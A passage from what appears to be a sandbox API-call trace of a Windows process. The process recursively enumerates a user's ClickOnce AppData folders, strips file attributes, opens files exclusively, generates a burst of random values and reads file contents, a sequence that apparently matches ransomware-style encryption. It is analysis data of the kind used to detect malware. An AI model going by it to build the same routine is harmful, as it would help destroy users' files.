HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\" [0152.134] wcscat (in: _Dest=0x202adfa0, _Source="YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0152.134] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202acc60 [0152.134] wcscpy (in: _Dest=0x202acc60, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0152.135] wcscat (in: _Dest=0x202acc60, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\" [0152.135] wcscat (in: _Dest=0x202acc60, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*" [0152.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99e10 [0152.135] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*", lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d130 [0152.189] wcscmp (_String1=".", _String2=".") returned 0 [0152.189] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.189] wcscmp (_String1="..", _String2=".") returned 1 [0152.189] wcscmp (_String1="..", _String2="..") returned 0 [0152.189] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", cAlternateFileName="CLICEX~1.000")) returned 1 [0152.190] wcscmp (_String1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", _String2=".") returned 1 [0152.190] wcscmp (_String1="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715", _String2="..") returned 1 [0152.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x116) returned 0x167ca0 [0152.190] wcscpy (in: _Dest=0x167ca0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0152.190] wcscat (in: _Dest=0x167ca0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\" [0152.190] wcscat (in: _Dest=0x167ca0, _Source="clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" [0152.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11a) returned 0x1b7d3a20 [0152.190] wcscpy (in: _Dest=0x1b7d3a20, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715" [0152.190] wcscat (in: _Dest=0x1b7d3a20, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\" [0152.190] wcscat (in: _Dest=0x1b7d3a20, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*" [0152.190] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205033d0 [0152.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*", lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0152.225] wcscmp (_String1=".", _String2=".") returned 0 [0152.225] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.225] wcscmp (_String1="..", _String2=".") returned 1 [0152.225] wcscmp (_String1="..", _String2="..") returned 0 [0152.225] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 1 [0152.225] wcscmp (_String1="GoogleUpdateSetup.exe", _String2=".") returned 1 [0152.225] wcscmp (_String1="GoogleUpdateSetup.exe", _String2="..") returned 1 [0152.226] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a295a80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x113f58, dwReserved0=0x0, dwReserved1=0x0, cFileName="GoogleUpdateSetup.exe", cAlternateFileName="GOOGLE~1.EXE")) returned 0 [0152.226] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0152.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205033d0) returned 1 [0152.226] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3a20) returned 1 [0152.227] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167ca0) returned 1 [0152.227] FindNextFileW (in: hFindFile=0x1cd9d130, lpFindFileData=0x1cd99e10 | out: lpFindFileData=0x1cd99e10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", cAlternateFileName="GOOGAP~1.000")) returned 1 [0152.227] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2=".") returned 1 [0152.227] wcscmp (_String1="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec", _String2="..") returned 1 [0152.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10c) returned 0x167ca0 [0152.227] wcscpy (in: _Dest=0x167ca0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT" [0152.227] wcscat (in: _Dest=0x167ca0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\" [0152.227] wcscat (in: _Dest=0x167ca0, _Source="goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0152.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x110) returned 0x167b80 [0152.227] wcscpy (in: _Dest=0x167b80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0152.227] wcscat (in: _Dest=0x167b80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0152.228] wcscat (in: _Dest=0x167b80, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*" [0152.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x205033d0 [0152.228] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*", lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0152.270] wcscmp (_String1=".", _String2=".") returned 0 [0152.270] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.270] wcscmp (_String1="..", _String2=".") returned 1 [0152.270] wcscmp (_String1="..", _String2="..") returned 0 [0152.270] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a307ea0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe", cAlternateFileName="CLICKO~1.EXE")) returned 1 [0152.270] wcscmp (_String1="clickonce_bootstrap.exe", _String2=".") returned 1 [0152.270] wcscmp (_String1="clickonce_bootstrap.exe", _String2="..") returned 1 [0152.270] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x205033d0 | out: lpFindFileData=0x205033d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x42d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="clickonce_bootstrap.exe.cdf-ms", cAlternateFileName="")) returned 1 [0152.270] wcscmp (_String1="clickonce_bootstrap.exe.cdf-ms", _String2=".") returned 1 [0152.270] wcscmp (_String1="clickonce_bootstrap.exe.cdf-ms", _String2="..") returned 1 [0152.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14a) returned 0x133b80 [0152.271] wcscpy (in: _Dest=0x133b80, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec" [0152.271] wcscat (in: _Dest=0x133b80, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\" [0152.271] wcscat (in: _Dest=0x133b80, _Source="clickonce_bootstrap.exe.cdf-ms" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" [0152.271] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms")) returned 0x2020 [0152.271] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms", dwFileAttributes=0x20) [0194.911] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\clickonce_bootstrap.exe.cdf-ms"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1494 [0194.912] GetFileSizeEx (in: hFile=0x1494, lpFileSize=0x3a73f990 | out: lpFileSize=0x3a73f990*=17104) returned 1 [0194.912] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x42cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.912] ReadFile (in: hFile=0x1494, lpBuffer=0x3a73f910, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3a73f958, lpOverlapped=0x0 | out: lpBuffer=0x3a73f910*, lpNumberOfBytesRead=0x3a73f958*=0x4, lpOverlapped=0x0) returned 1 [0198.086] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.086] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e30 [0198.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2cf0 [0198.087] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3da0 [0198.087] NtQuerySystemTime (in: CurrentTime=0x3a73f850 | out: CurrentTime=0x3a73f850*=132462178031818000) returned 0x0 [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x6710d329 [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x59d4482 [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x11267149 [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x313f5628 [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x287e4ac2 [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x7dbceaab [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x798000b4 [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x763dcd39 [0198.087] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x4c27a0f [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x11022671 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x403aac2 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x789fdcc2 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x496f4335 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x25f3c520 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x63f775d [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0xec4c012 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x2637c14b [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x4197b708 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x47a36434 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x582beb8b [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x429aab35 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x37bdfe1f [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x2bfa4020 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x2da5b174 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0xc75a3c5 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x2613b754 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0xdc65a9e [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x7682f411 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x6c4d049d [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x56adf1fc [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x7f5a7c77 [0198.088] RtlRandomEx (in: Seed=0x3a73f840 | out: Seed=0x3a73f840) returned 0x4f0019cc [0198.095] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.095] ReadFile (in: hFile=0x1494, lpBuffer=0x41f578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3a73f8b0, lpOverlapped=0x0 | out: lpBuffer=0x41f578d0*, lpNumberOfBytesRead=0x3a73f8b0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.777] SetFilePointerEx (in: hFile=0x1494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504810 [0198.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b650 [0198.778] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b650) returned 1 [0198.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423885a0 [0198.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b650 [0198.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b680 [0198.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b680) returned 1 [0198.780] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 